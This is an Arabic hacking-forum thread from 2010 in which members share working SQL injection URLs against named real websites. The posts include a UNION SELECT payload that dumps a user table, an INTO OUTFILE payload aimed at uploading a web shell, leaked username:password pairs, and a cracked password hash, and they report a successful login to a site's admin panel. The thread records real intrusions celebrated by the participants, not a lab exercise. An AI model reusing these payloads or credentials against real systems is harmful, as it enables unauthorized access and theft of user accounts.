غرفة حقن قواعد البيانات {غرفة Sql }

marrak · 08-05-2010, 12:56 AM

اليكم هذا الموقع
http://www.slatina-online.ro/adauga_...ue&categorie=5

المصدر: :: vBspiders Professional Network ::

darkman.dz · 08-05-2010, 01:11 AM

اقتباس

المشاركة الأصلية كتبت بواسطة marrak


	اليكم هذا الموقع http://www.slatina-online.ro/adauga_...ue&categorie=5

الموقع ليس مصاب أخي
يرجى التأكد
و الله أعلم

m0h@med · 08-05-2010, 10:32 AM

اقتباس

المشاركة الأصلية كتبت بواسطة ooooo_darkman_ooooo


	الموقع ليس مصاب أخي يرجى التأكد و الله أعلم

السلام عليكم
حياك الله أخي الكريم
الموقع مصاب و يكفي تغيير السكريبت.
الاستغلال الكامل

كود:

http://www.slatina-online.ro/detalii_anunt.php?id_anunt=267&id_categ=3&id_subcateg=-22%20union%20select%201,2,concat_ws(0x3a,id,user,parola)+from+utilizatori--

هذا أول عدس لي في المنتدى ......تحياتي

m0h@med · 08-05-2010, 10:23 AM

اقتباس

المشاركة الأصلية كتبت بواسطة marrak


	اليكم هذا الموقع http://www.slatina-online.ro/adauga_...ue&categorie=5

Hi my brother marrak
there exist some account you can so use it
username:password
florintele:356746
giba:123
office:456
keepto.ro:12345

.
.
.

regards

darkman.dz · 08-05-2010, 12:59 AM

جاري أخ marrak

d4rK-h4ck3r · 08-05-2010, 01:17 AM

شوف الموقع بثغرة into outfile تقدر ترفع شيل لازم مسار مصرح
http://www.talkeetnachamber.org/news...,7,8,9,10,11--
و يتيح الطباعة قمت بتكوين ملف في مجلد tmp

http://www.talkeetnachamber.org/news.php?id=158+AND+1=2+UNION+SELECT+1,2,3,'d4rk-h4ck3r',5,6,7,8,9,10,11+into+outfile"/tmp/d4rk.txt"

http://www.talkeetnachamber.org/news...,7,8,9,10,11--

لول تمت طباعة اسمي يعني يتيح الطباعة فقط ما زال معرفة مسارنا بالسيرفر اذا وجدناه اضمنلك شل مرفوع

darkman.dz · 08-05-2010, 01:49 AM

d4rK-h4ck3r
هههههههههههههههههههههه
مازال ماوصلتش لهاذ الدرجة من الإحتراف أخي الكريم
ههههههههههههههههههههههههههههههههههههههههههههههه

d4rK-h4ck3r · 08-05-2010, 02:00 AM

اخي هذه الفائدة من المشاركات مزيد التعلم و ان شاء الله تتقن مثل هذا النوع من الثغرات كما ان الاخوة من الجزائر سريعوا التعلم و هم النخبة في الاختراق اولهم الاسطورة his0k4 و ان شاء الله تتوصل لاختراقه
العبرة في المحاولة ;)

darkman.dz · 08-05-2010, 02:06 AM

تعم أخي العزيز
أول مرة أتعلم السيكول في 2 ساعات إخترفت موقع
ههههههههههههههههههههههه
اليوم فقط رجعت النت قوية
أرجو أن تتواصل هكذا لكي أعود إلى التعلم من جديد

d4rK-h4ck3r · 08-05-2010, 02:43 AM

ان شاء الله لما احسن و انا سارفعلك شرح عامله لاستغلال هذا النوع من الثغرات لكن اصبر علي شوي lol

Master vbspiders · 08-05-2010, 02:49 PM

[align=center]ممممم
بالنسبة للموقع الاول : http://blog.soundcat.org/post.php?id=12
ما قدرت اخمن الجداول للاسف...
واما الموقع الثاني تبع الاخ marrak فبالبداية كان تفكيري مثل الاخ ooooo_darkman_ooooo
يعني ما في خطا اصلا والموقع مش مصاب لكن بعدها فكرت اجرب بسكربت ثاني وعلى نفس الموقع
ونجحت والاخ m0h@med وضع الاستغلال قبلي وهذا هو :

كود PHP:

  http://www.slatina-online.ro/detalii_anunt.php?id_anunt=267&id_categ=3&id_subcateg=-22%20union%20select%201,2,concat_ws(0x3a,id,user,parola)+from+utilizatori--

وتم فك الهاش :c6efc361da2fbccf3f88936e54624bb8
والباس هو : 356746
ولوحة الدخول : http://www.slatina-online.ro/
هناك تسجيل دخول واضح بالصفحة الرئسية
تم الدخول بنجاح
بارك الله فيكم جميعا...
عمل منظم ورائع
تحياتي

[/align]

Master vbspiders · 08-05-2010, 02:52 PM

[align=center]تم تقييم كل من الاخ :
ooooo_darkman_ooooo
&
m0h@med
++بارك الله فيكم++
++تحياتي++

[/align]

darkman.dz · 08-05-2010, 04:09 PM

شكرا أخي d4rK-h4ck3r

===================

darkman.dz · 08-05-2010, 04:13 PM

m0h@med
==========
ههههههههههههههههههههههه
أخي الكريم أنا لم أبحث في سكربتات الموقع أنا إعتقدت أنو الرابط اللي حطو الأخ الكريم النتغير اللي فيه هو المصاب
===========================
شكرا على التنبيه +نتمنى مايكون الدعس الأخير + ممكن حد يشرحلى الأمر concat_ws(0x3a,id,user,parola)
وشكرا
منتظركم

darkman.dz · 08-05-2010, 04:33 PM

بارك الله فيك أنت أخي Master vbspiders
على الموصوع الجميل
+ بالنسبة للموقع (البلوق اليهودي ) نفس الشيئ معي
أرجو من الإدارة تقييم الموضضوع

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
العدد (3) من غرفة الحقن	darkman.dz	SQL قواعد البيانات	397	12-30-2010 01:23 PM
جهاز من غرفة جـنـسـيـة	MasTer MiND	Hackers Showoff	6	06-25-2009 04:01 PM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

غرفة حقن قواعد البيانات {غرفة Sql }

SQL قواعد البيانات